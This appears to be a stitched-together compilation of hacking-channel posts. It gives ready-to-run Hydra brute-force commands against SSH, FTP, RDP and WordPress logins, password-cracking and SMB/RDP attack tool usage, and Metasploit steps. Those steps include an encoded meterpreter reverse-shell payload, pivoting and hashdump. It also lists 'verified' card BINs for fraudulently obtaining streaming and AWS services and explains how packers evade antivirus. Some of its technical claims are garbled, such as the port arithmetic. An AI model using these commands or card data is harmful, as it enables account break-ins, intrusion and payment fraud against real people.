▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Hydra bruteforcing tips

1️⃣hydra does not have a native default wordlist, using the Rockyou list is suggested
#example brute force crack on ftp server
hydra -t 1 -l admin -P path to password.lst -vV IPaddress ftp
--> -t # = preform # tasks
--> -l NAME = try to log in with NAME
--> -P filepath = Try password
--> -vV = verbose mode, showing the login+pass for each attempt

2️⃣check for joe accounts by adding modifier -e s

3️⃣Hydra brute force against SNMP
hydra -P password-file.txt -v $ip snmp

4️⃣Hydra FTP known user and password list
hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp

5️⃣Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

6️⃣Hydra SSH using a known password and a username list
hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

7️⃣Hydra SSH Against Known username on port 22
hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt

8️⃣Hydra POP3 Brute Force
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

9️⃣Hydra SMTP Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

🔟Hydra attack http get 401 login with a dictionary
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

1️⃣1️⃣Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

1️⃣2️⃣Hydra brute force a Wordpress admin login
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑RANDOM CRACKING RECOMMENDED TIPS :

#Ophcrack is a free rainbow table-based password cracking tool for Windows 8 (both local and Microsoft accounts), Windows 7, Windows Vista, and Windows XP. 

#The Ophcrack LiveCD option allows for completely automatic password recovery.

#It cracks LM and NTLM (Windows) hashes.

2️⃣Pros
  Software is freely available for download online
  Passwords are recovered automatically using the LiveCD method
  No software installation is necessary to recover passwords
  No knowledge of any existing passwords is necessary
  
3️⃣Cons
  LiveCD ISO image must be burned to a disc or USB device before being used
  Passwords greater than 14 characters cannot be cracked
  Won't crack even the simplest Windows 10 password
  
4️⃣ RainbowCrack
#The RainbowCrack software cracks hashes by rainbow table lookup.

#To crack single hash
rcrack [rainbow_table_path] -h hash_to_be_cracked
Path - Location of rainbow tables
Example: rcrack c:\rt -h fcea920f7412b5da7be0cf42b8c93759

#To crack multiple hashes in a file
rcrack [rainbow_table_path] -l hash_file
Example: rcrack c:\rt -l hash_list_file

#To lookup rainbow tables in multiple directories
rcrack [rainbow_table_path] [rainbow_table_path2] -l hash_file
Example: rcrack c:\rt1 c:\rt2 -l hash_list_file

#To load and crack LM hashes from pwdump file
rcrack [rainbow_table_path] -lm pwdump_file

#To load and crack NTLM hashes from pwdump file
rcrack [rainbow_table_path] -ntlm pwdump_file

5️⃣ acccheck
#Windows Password dictionary attack tool for SMB

#Usage: acccheck [options]
   options -t [single host IP address]
           -T [file containing target ip address(es)]
           -p [single password]
           -P [file containing passwords]
           -u [single user]
           -U [file containing usernames]
           
#Examples
Attempt the 'Administrator' account with a [BLANK] password.
acccheck -t 10.10.10.1
Attempt all passwords in 'password.txt' against the 'Administrator' account.
acccheck -t 10.10.10.1 -P password.txt
Attempt all password in 'password.txt' against all users in 'users.txt'.
acccehck -t 10.10.10.1 -U users.txt -P password.txt
Attempt a single password against a single user.
acccheck -t 10.10.10.1 -u administrator -p password


6️⃣Brutespray
#BruteSpray takes nmap GNMAP/XML output and automatically brute-forces services with default credentials using Medusa.

#usage: brutespray [-h] -f FILE [-o OUTPUT] [-s SERVICE] [-t THREADS]
                  [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME]
                  [-p PASSWORD] [-c] [-i]

#Example
brutespray --file nas.gnmap -U /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/password.lst --threads 3 --hosts 1
Attack all services in nas.gnmap with a specific user list (unix_users.txt) and password list (password.lst).

7️⃣Crowbar
#Crowbar is a brute force tool which supports OpenVPN, Remote Desktop Protocol, SSH Private Keys and VNC Keys.

#usage: crowbar -b [openvpn | rdp | sshkey | vnckey] [arguments]
Example:crowbar -b rdp -s 192.168.86.61/32 -u victim -C /root/words.txt -n 1
Brute force the RDP service on a single host with a specified username and wordlist, using 1 thread.

8️⃣Aircrack-ng
#Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. 

#usage 
aircrack-ng [options] <.cap / .ivs file(s)>
To have aircrack-ng conduct a WEP key attack on a capture file, pass it the filename, either in .ivs or .cap/.pcap format.

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑ALL RELATED TO METASPLOIT :

 

# To show all exploits that for a vulnerability
grep <vulnerability> show exploits

# To select an exploit to use
use <exploit>

# To see the current settings for a selected exploit
show options

# To see compatible payloads for a selected exploit
show payloads

# To set the payload for a selected exploit
set payload <payload>

# To set setting for a selected exploit 
set <option> <value>

# To run the exploit
exploit

# One liner to create/generate a payload for windows
msfvenom --arch x86 --platform windows --payload windows/meterpreter/reverse_tcp LHOST=<listening_host> LPORT=<listening_port> --bad-chars “\x00” --encoder x86/shikata_ga_nai --iterations 10 --format exe --out /path/

# One liner start meterpreter
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <listening_host>;set LPORT <listening_port>;run;"

2️⃣Metasploit Pivot

Compromise 1st machine

# meterpreter> run arp_scanner -r 10.10.10.0/24
route add 10.10.10.10 255.255.255.248 <session>
use auxiliary/scanner/portscan/tcp
use bind shell

or run autoroute:

# meterpreter > ipconfig
# meterpreter > run autoroute -s 10.1.13.0/24
# meterpreter > getsystem
# meterpreter > run hashdump
# use auxiliary/scanner/portscan/tcp
# msf auxiliary(tcp) > use exploit/windows/smb/psexec 

or port forwarding:
# meterpreter > run autoroute -s 10.1.13.0/24
# use auxiliary/scanner/portscan/tcp
# meterpreter > portfwd add -l <listening port> -p <remote port> -r <remote/internal host>

or socks proxy:
route add 10.10.10.10 255.255.255.248 <session>
use auxiliary/server/socks4a
Add proxy to /etc/proxychains.conf
proxychains nmap -sT -T4 -Pn 10.10.10.50
setg socks4:127.0.0.1:1080

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

fresh upload all related to kali

E N J O Y ❤️👍🏻

https://mega.nz/folder/dqZh2IrQ#xJDXhntO5Dv-LX-eRCWMiw

More related to Trojans
-Analysis of a Trojan downloader

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Description of Damn Vulnerable Web Application (DVWA)
Damn Vulnerable Web Application (DVWA) is a PHP / MySQL web application that's damn vulnerable. Its main goal is to help security professionals test their skills and tools in a legal environment, help web developers better understand the process of web application security, and help both students and teachers learn about web application security in a controlled classroom environment.

The DVWA's goal is to practice some of the most common web vulnerabilities, with varying levels of difficulty, with a simple straightforward interface. Please note that there are both documented and undocumented vulnerabilities in this software. This is done on purpose. You are encouraged to try and discover as many vulnerabilities as you can.

WARNING!

> Damn Vulnerable Web Application is damn vulnerable! Do not upload it to the public html folder of your hosting provider or to any server with Internet access, as they will be compromised. It is recommended to use a virtual machine (such as VirtualBox or VMware) that are set to NAT network mode. Inside the guest machine, you can download and install the web server and databases.

🦑Some of the vulnerabilities of the web application that contains DVWA;

— Brute force : Brute force HTTP login page form; is used to test password brute force attack tools and shows the insecurity of weak passwords.

—Command execution (injection) : Execution of operating system level commands.

—Cross-Site Request Forgery (CSRF): Allows an "attacker" to change the Application Administrator password.
File Injection : Allows an "attacker" to attach remote / local files to a web application.

—SQL Injection: Allows an attacker to inject SQL statements into HTTP from an input field, DVWA enables blind and error-based SQL injection.

—Insecure File Upload : Allows an "attacker" to upload malicious files to a web server.

—Cross Site Scripting (XSS) : An attacker can inject their scripts into a web application / database. DVWA includes reflected and stored XSS.

—Easter eggs: revealing full paths, bypassing authentication, and some others.

> Home page: http://dvwa.co.uk/

@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑WannaCry|WannaDecrypt0r NSA-Cybereweapon-Powered Ransomware Worm


1) Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY

2) Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.

3) Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.

4) Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. (source: malwarebytes)

> Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm.

5) SECURITY BULLETIN AND UPDATES HERE: https://technet.microsoft.com/en-us/library/security/ms17-010.aspx https://blog.malwarebytes.com/threat-analysis/2017/05/the-worm-that-spreads-wanacrypt0r/

ENJOY❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Canadian MSP disclosed data breach, ransomware attack failed
#News
TrickBot’s Anchor malware platform has been ported to Linux-infected devices and used secret channels to destroy more high-impact and high-value targets.

> TrickBot is a multifunctional Windows malware platform that uses different modules to perform various malicious activities, including information theft, password theft, Windows domain infiltration and malware delivery.
TrickBot is rented by threat actors who use threats to penetrate the network and harvest anything of value. It is then used to deploy ransomware such as Ryuk and Conti to encrypt network devices as a final attack.

> At the end of 2019, both SentinelOne and NTT reported a new TrickBot framework called Anchor, which uses DNS to communicate with command and control servers.

> The malware is called Anchor_DNS and can be used for high-value, high-impact targets with valuable financial information.

In addition to ransomware deployment through Anchor infection, TrickBot Anchor participants also use it as a backdoor program for APT, point of sale and financial system activities

written by undercode
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑PROXY PARSER PHP BY UNDERCODE :

<?php<font></font>
<font></font>
$link = 'https://free-proxy-list.net/';<font></font>
<font></font>
$agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36';<font></font>
<font></font>
$ch = curl_init($link);<font></font>
curl_setopt($ch, CURLOPT_USERAGENT, $agent);<font></font>
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<font></font>
$response_data = curl_exec($ch);<font></font>
if (curl_errno($ch) > 0) {<font></font>
die('Ошибка curl: ' . curl_error($ch));<font></font>
}<font></font>
curl_close($ch);<font></font>
<font></font>
preg_match_all('#<td>[0-9.]{5,}[0-9]{2,}</td>#', $response_data, $rawlist);<font></font>
<font></font>
$cleanedList = str_replace('</td><td>', ':', $rawlist[0]);<font></font>
$cleanedList = str_replace('<td>', '', $cleanedList);<font></font>
$cleanedList = str_replace('</td>', '', $cleanedList);<font></font>
<font></font>
foreach ($cleanedList as $key => $value) {<font></font>
echo $value . PHP_EOL;<font></font>
}

> Run like this:


php proxy_parser.php

A list of xy proxies will be received

🦑you can uploaded to your github

ENJOY❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Support & Share ❤️👍🏻

T.me/UndercodeSecurity

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑SOME VERIFIED BINS :


> ✅ Bin For HBO Now Premium

Bin : 650180xxxxxxxxxx
CVV/Date: RND
IP : USA 🇺🇸
Zip Code : 10080

> ✅| x3 Multifunctional Bins For FuboTV, Tidal, FlixOle try more sites too

BIN: 406032xxxxxxxxxx
BIN: 406068xxxxxxxxxx

DATE: Rnd
TESTED ON:
Tidal (Any plan)
FlixOlé
IP USA 🇺🇸
Zip Code: 10080

> ✅Bin Amazon AWS

Bin: 531260008116xxxx > ✅
Bin: 531260009066xxxx > this fail
Bin: 531260505223xxxx > ✅
Data: 04/23
Status: Works & Tested
IP: United States

🦑Only Checked by Us

E N J O Y & USE FOR LEARN

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑SOME TERMS FOR BEGINERS

1️⃣Packing

It is to use a special algorithm to change the encoding of the exe executable program or the DLL dynamic link library file (for example, to achieve compression and encryption) to reduce the file size and encrypt the program encoding, and even avoid the intention of anti-virus software. At present, the more commonly used shells are UPX, ASPack, PePack, PECompact, UPack, Immune 007 and so on. Another important function of the packer is to prevent the software from being cracked.


2️⃣Flower instruction

It is just a few assembly instructions to make some jumps in the assembly statement, so that the anti-virus software cannot normally judge the structure of the virus file. To put it simply, "Antivirus software searches for viruses in order from head to toe. If we reverse the head and feet of the virus, the antivirus software will not find the virus.


3️⃣Router is
a device used to access the Internet. In the past, a broadband cable was used to directly connect to a computer and enter the password to access the Internet. Why do computers need to be connected to a router now? Because the mobile phone needs to connect to the wifi of the router to access the Internet, the broadband cable is connected to the router, and the computer has no broadband cable, so you can only connect to the router.


4️⃣The port needs
to be on the network. Knowing the ip address of a computer is just equivalent to knowing its residential address. To communicate with it, we also need to know which ports it opens. For example, when we go to a hospital, we need to register to 1 You must go to window No. 2 for pricing, and window No. 3 to get medicine. Then the communication with the computer is the same. To access example.com, you have to contact the port 80 of the example.com server, and ftp To log in to the space and transfer files, we have to connect to port 21 of the server again. Therefore, the port is a data transmission channel for receiving certain data and then sending it to the corresponding reply. After the computer processes the data, Then send the corresponding reply to the other party through the port.

5️⃣ip address
computer on the Internet have a lot in order to enable them to recognize each other, each host on the Internet is assigned only a 32-bit address, which is called ip address, also called Internet address, the ip address It consists of 4 numerical parts, each of which can take a value of 0-255, and each ip address has 256x256-1=65535 ports.

@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁